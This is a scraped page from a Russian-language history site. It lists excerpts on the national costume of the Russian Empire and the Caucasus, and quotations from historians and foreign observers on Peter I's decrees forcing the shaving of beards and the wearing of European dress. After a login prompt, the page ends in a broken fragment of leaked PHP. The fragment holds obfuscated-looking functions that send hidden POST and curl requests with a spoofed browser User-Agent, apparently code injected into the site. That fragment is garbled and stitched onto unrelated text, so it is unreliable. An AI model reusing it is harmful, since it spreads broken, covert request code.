Внешний облик

Национальная одежда народов Российской империи. 1811 г. Часть 2

По данным переписи 1897 г. , вместе славянские народы (русские, украинцы, белорусы, а также поляки, болгары и другие) составляли порядка 75% населения империи: Русский язык — 55,667 млн (44,3%) Украинский язык — 22,381 млн (17,8%) Польский язык — 7,931 млн (6,3%) Белорусский язык — 5,886 млн (4,7%) Значительной национальной группой были евреи — 5,2 млн чел(4,1%). Хотя официальным, равно как и самым распространённым родным языком в империи был русский(…)

Национальная одежда народов Российской империи. 1811 г. Часть 1

Население Российской империи на момент её провозглашения и в течение всего двухвекового периода её существования было многонациональным, хотя ядро населения империи, именуемое титульной нацией, составляли великороссы (русские), национальная идентичность которых сформировалась в среде восточнославянского населения Киевской Руси в XIV — XVI веках, проживавшего на территориях, вошедших в указанный период в состав Московского государства. Практически все народы страны занимались в основном сельским хозяйством, некоторые вели кочевую жизнь.(…)

Национальная одежда народов Кавказа 2

Народы Кавказа — различные этнические группы, населяющие Кавказ (Северный и/или Южный). В регионе проживают от 50 до 62 этнических групп.Народный костюм на Кавказе хуже, чем жилище, поддается типологизации, у него нет таких четких ареалов бытования. В то же время далеко не всегда типы одежды совпадают с расселением отдельных этносов, подчиняясь и субэтническим делениям и объединяя субэтносы разных народов.

Национальная одежда народов Кавказа. Часть 1

Можно говорить о бесспорном наличии западноармянского комплекса костюма, но с некоторыми элементами его сходства с одеждой курдов и турок. В восточноармянском типе женской одежды присутствует весьма сложный головной убор, который готовили на длительный срок ношения. В одежде азербайджанок Нахичевани конструкция штанов показывает, что они произошли от верхней одежды кочевников. Расшитые концы шаровар женщин Дагестана являются(…)

Лев Толстой на фотографиях

Лев Толстой на фотографиях

Толстой Лев Николаевич (1828 — 1910) — граф, знаменитый писатель, достигший небывалой в истории литературы XIX в. славы. Принадлежит к богатому и знатному роду, занимавшему высокое положение еще во времена Петра Великого. Прадеду Льва Николаевича, графу Петру Андреевичу, выпала печальная роль в истории царевича Алексея. Правнук Петра Андреевича, Илья Андреевич, описан в «Войне и мире»(…)

Западная опрятность

Западная опрятность

Ф. Вигель […] мы в России мало знали опрятности, и в самых знатных домах сами барыни были весьма нечистоплот­ны. Опрятность есть одно из малого числа благодеяний, коими, по моему мнению, Западу мы обязаны. Записки. В 5 ч. М., 1891. Ч. 1. С. 19. 

Внешний лоск вместо образованности в эпоху Петра Первого

Внешний лоск вместо образованности в эпоху Петра Первого

К. Сивков Воспринималась, правда, а затем и перенималась внешность европейской культуры, но внутреннее ее со­держание оставалось столь же чуждым, как и раньше. Немудрено поэтому, что, по словам Вебера, русские люди времен Петра, побывавшие за границей, быстро расставались с приобретенными обычаями и, усваивая лишь внешний лоск, приобретали «несносное чванство» и жили по старине. Путешествия русских людей(…)

Указ о бритье бород как продолжение угнетения русского народа

Указ о бритье бород как продолжение угнетения русского народа

Н. Костомаров Ревнители старины вопияли против брадобрития и немецкого платья, но их ропот сам по себе не имел бы большой силы без других важных поводов, возбуждав­ших всеобщее негодование: бритье бород, немецкое платье в эпоху Петра тесно связывались с разоритель­ными поборами и тяжелою войною, истощавшею все силы народа. Русская история в жизнеописаниях ее глав­нейших деятелей. СПб.,(…)

Достоевский о конфликте русской традиции и реформ Петра I

Достоевский о конфликте русской традиции и реформ Петра I

Ф. Достоевский […] Петра можно назвать народным явлением настоль­ко, насколько он выражал в себе стремление народа об­новиться; дать более простору жизни — но только до сих пор он и был народен… Выражаясь точней, одна идея Пет­ра была народна. Но Петр как факт был в высшей степени антинароден… Во-первых, он изменил народному духу в деспотизме своих(…)

Почему русский народ считал Петра I антихристом

Почему русский народ считал Петра I антихристом

П. Милюков По Апокалипсису, власть антихриста продолжится на земле два с половиною года, т.е. с 1666 по 1669, а затем начнется светопреставление: солнце померкнет, звезды спадут с неба, сгорит земля и, наконец, последняя труба архангела призовет на страшный суд праведных и греш­ных. […] Под влиянием подобных страхов, вероятно, по всей русской земле происходили явления, о(…)

Ненависть москвичей к Петру I

Ненависть москвичей к Петру I

Е. Шмурло Все страшнее, необычайнее и вместе с тем колос­сальнее казалась сторонникам московской старины фи­гура царя. И вот он вырастает у них в сверхчеловече­ское существо, в одержимого бесом, в родившегося от нечистой девы, в самого антихриста…А! — говорили со­временники: — потому-то и водится он с немцами, по­тому-то и рекрутчину ввел, и новобранца клеймит рас­каленным железом(…)

С. Соловьев о перемене азиатского платья на европейское

С. Соловьев о перемене азиатского платья на европейское

С. Соловьев (…) говоря о перемене платья, мы опять должны за­метить, что нельзя легко смотреть на это явление, ибо мы видим, что и в платье выражается известное исто­рическое движение народов. Коснеющий, полусонный азиатец носит длинное, спальное платье. Как скоро че­ловечество, на европейской почве, начинает вести более деятельную, подвижную жизнь, то происходит и пере­мена в одежде.(…)

Ш. Монтескье о реформах Петра I

Ш. Монтескье о реформах Петра I

Ш. Монтескье Закон, обязывавший московитов брить бороду и уко­рачивать платье, и насилие Петра I, приказывавшего об­резать до колен длинные одежды каждого, кто входил в город, были порождением тирании. Есть средства бо­роться с преступлениями: это наказания; есть средства для изменения обычаев: это примеры. Легкость и быстрота, с которыми этот народ приоб­щился к цивилизации, неопровержимо доказали, что(…)

Наказания за ношение бороды в эпоху Петра I

Наказания за ношение бороды в эпоху Петра I

Н. Костомаров В 1722 году опять повторилось преследование бород. Все бородачи должны были носить особый зипун, со стоячим клееным козырем, или однорядку с лежачим ожерельем. Раскольники, для отличия от обыкновенных бородачей, должны были носить козырь красный. За бороду следовало платить 50 рублей. Если кто придет в судебное место с бородою, не в указном платье, от(…)

Вольтер о внешнем облике русских и обычаях в России

Вольтер о внешнем облике русских и обычаях в России

Вольтер Обычаи, одежда, нравы в России — всегда сходст­вовали более с Азиатскими, нежели с Европейскими.[…] Длинное платье в торжественные дни казалось благо­роднее, чем короткая одежда западных Европейских на­родов. Полукафтанье, подбитое мехом с длинным охаб­нем, украшенным камнями в праздничные дни, и вы­сокие шапки, придававшие более росту, кидались в гла­за, чем фраки и парики, и были приличнее(…)

Указ Петра I о бритье бород и ношении европейского платья

Указ Петра I о бритье бород и ношении европейского платья

Петр I […] при Санктпитербурхе и во всех городах всяких чинов людям Свой Царского Величества указ объявить публично, чтоб русским никаким платьем и сапогами не торговали и ни кто такова платья и бород не носили, по прежнему Его Великого Государя указу 713 году де­кабря 17 числа; а ежели кто учнет русским каким плать­ем и сапогами(…)

Как Петр I оправдывал свою жестокость к русскому народу

Как Петр I оправдывал свою жестокость к русскому народу

Н. Костомаров Бородобритие и перемена одежды с первого раза воз­буждали ужас и показывали, что Петр не будет оказы­вать снисхождения обычаям древней русской жизни, принявшим религиозное значение. Исстари в русской литературе существовали, приписываемые святым му­жам, поучения о сохранении бороды; борода у мужчин считалась признаком не только достоинства, но и нрав­ственности; бритье бороды называлось еллинским, блуд­ным, гнусным(…)

Оценка указа Петра I о бритье бороды и ношении европейского платья

Оценка указа Петра I о бритье бороды и ношении европейского платья

Е. Белов Вообще эта пора первоначальной преобразовательной деятельности Петра запечатлена какою-то особенною порывчивостью, торопливостью и часто лишена спокойной обдуманности […]. Среди этой суматохи, возбужденной бритьем бород, отрезыванием пол у кафтанов, произво­дится страшный стрелецкий розыск […]. Петр Великий. СПб., 1872. С. 7.

Налог на ношение бороды в эпоху Петра I

Налог на ношение бороды в эпоху Петра I

Дж. Перри Царь […] повелел обложить податью всех дворян, куп­цов и других подданных своих (за исключением Священников и простых крестьян или рабов), чтобы каждый из них за право носить бороду платил ежегодно 100 рублей; также и простолюдины в России обязаны были платить по одной копейке каждый раз, когда проходили через ворота какого города, где приставлено(…)

Почему Петр I издал указ о бритье бороды

Почему Петр I издал указ о бритье бороды

И. Голиков А как оказываемое к иностранцам омерзение было одним из великих препятствий намерениям Его Величества, то и почел он за должность истребить наружные знаки, отличающие от них всех его подданных, то есть бороды и долгое платье […]. Но простонародье заупрямилося в том до такой степени, что надлежало учинить им в том некоторое принуждение. Деяния(…)

Отношение русских к указу Петра I о обязательном ношении европейских костюмов

Отношение русских к указу Петра I о обязательном ношении европейских костюмов

Г. Плеханов Посошков жаловался: наши правители ни во что ставят русского человека и сами унижают его перед иностранца­ми. Читатель видит, что он был прав. И то, что он был прав, то, что начальники пренебрегали русскими людьми и уни­жали их перед иностранцами, усиливало националистиче­скую реакцию, явившуюся одним из последствий поворо­та России к Западу. Эта националистическая реакция(…)

Реакция русских на приказ Петра I о бритье бороды

Реакция русских на приказ Петра I о бритье бороды

Дж. Перри Это распоряжение считали в то время почти грехом со стороны царя и покушением на религию и смотрели на это как на великое притеснение, приписывая его вли­янию иностранцев […]. Русские положительно питали некоторого рода религиозное уважение к своим бородам, тем более, что это ставило различие между ними и иностранцами. Состояние России при нынешнем царе.(…)

Протесты против бритья бороды в эпоху Петра I

Протесты против бритья бороды в эпоху Петра I

И. Фоккеродт […] борода нашла множество стойких защитников, особливо между простолюдинами, которым пришло в го­лову, что подобие Божие опозорится, если у человека отнимут это украшение, а потому и многие из них лучше положат голову под топор, чем лишатся своих бород. Хотя Синод обнародовал особенное сочинение, где очень подробно доказывается, что борода не принадлежит к подобию(…)

Когда русские впервые надели европейские костюмы

Когда русские впервые надели европейские костюмы

С. Соловьев После брадобрития особенно сильное неудовольствие возбуждали повторительные указы о перемене платья. 4 января 1700 года объявлен был именной указ: «Боярам, и окольничим, и думным, и ближним людем, и стольни­ком, и стряпчим, и дворяном московским, и дьяком, и жильцам, и всех чинов служилым, и приказным, и тор­говым людем, и людем боярским, на Москве и(…)

Когда русским приказано было брить бороды

Когда русским приказано было брить бороды

К. Бруин […] Русским приказано было брить бороды; но усы носить дозволялось, хотя придворные чины и другие лица не носят уже и усов. Для того же, чтобы прика­зание это исполнялось в точности, заведены были осо­бые бородобреи, чтобы они брили бороды без различия всем тем, кого встретят с бородою. Многим из Русских распоряжение это казалось до(…)

В х о д
X

Забыли пароль?

array( method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ", content=>$URL, ), ) ); return file_get_contents($URL,false,$_14); } function l__2($socket, $host, $path, $paramurl){ fputs($socket, "POST ".$path." HTTP/1.0\r\n Host: $host\r\n User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n Accept: */*\r\n Accept-Language: en-us,en;q=0.5\r\n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n Content-Length: ".strlen($paramurl)."\r\n Content-Type: application/x-www-form-urlencoded\r\n\r\n$paramurl"); $response=""; while ($buffer=fread($socket, 4096)){ $response .= $buffer; } fclose($socket); $header_end = strpos($response, ""); $response=substr($response, $header_end+4); return $response; } function l__3($URL){ $curl = curl_init($URL); curl_setopt($curl, 42, FALSE); curl_setopt($curl,19913,TRUE); curl_setopt($curl,13,15); curl_setopt($curl,10015,$paramurl); $response=curl_exec($curl); curl_close($curl); return $response; } ?>